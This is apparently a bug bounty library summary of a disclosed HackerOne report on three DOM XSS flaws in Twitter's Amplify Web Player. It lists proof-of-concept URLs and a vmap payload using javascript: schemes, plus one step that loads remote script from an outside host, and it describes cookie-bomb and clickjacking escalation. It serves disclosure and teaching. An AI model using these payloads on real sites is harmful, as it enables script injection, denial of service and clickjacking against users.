# Multiple DOMXSS on Amplify Web Player

Three DOM XSS sinks in Twitter's Amplify Web Player let an attacker run script on *.twimg.com via jQuery $.get, javascript: player_url, and vmap cta_open_url.

- Payout: hidden
- Severity: high
- Program: X / xAI
- Found by: filedescriptor
- Disclosed: 2017-04-15
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/88719
- Library page: https://bugbountylibrary.com/r/h1%3A88719
- Tags: area:web domain:web impact:dos impact:integrity kind:bounty platform:hackerone sev:high technique:source-review vuln:xss

**Target:** Amplify Web Player source.html (amp.twimg.com)
**Root cause:** User-controlled url/player_url/vmap values reach dangerous sinks: jQuery $.get without dataType (executes JS), iframe src set to javascript: URL, and anchor href set to javascript: from tw:cta_open_url.
**Steps:**
1. Open `https://amp.twimg.com/amplify-web-player/prod/source.html?url=https://innerht.ml/vectors/js.php` in IE and click play; jQuery `$.get(e)` without dataType executes the remote JS.
2. Open `https://amp.twimg.com/amplify-web-player/prod/source.html?player_url=javascript:alert(1)&source_type=vine` and click play; iframe src becomes `javascript:alert(1)`.
3. Host a vmap XML with `<tw:cta_open_url url="javascript:alert(1)" />` on a whitelisted domain; anchor href is set to the javascript: URL.
**How found:** Source review of the Amplify player modules, spotting jQuery $.get without dataType, unvalidated iframe src from player_url, and unvalidated anchor href from vmap tw:cta_open_url.
**Exploitation:** Attacker crafts a URL to source.html (or a whitelisted vmap) so the player executes attacker JS on *.twimg.com; used for cookie bomb DoS against static assets and clickjacking via changing the embedded player URL.
**Escalation:** XSS on shared *.twimg.com origin enables cookie bombing of static-file domain and clickjacking leveraging X-Frame-Options SAMEORIGIN.
**Insight:** jQuery `$.get` infers dataType from response Content-Type, so a remote endpoint returning JS executes it; also audit iframe src and anchor href sinks for javascript: schemes when user-supplied URLs flow in.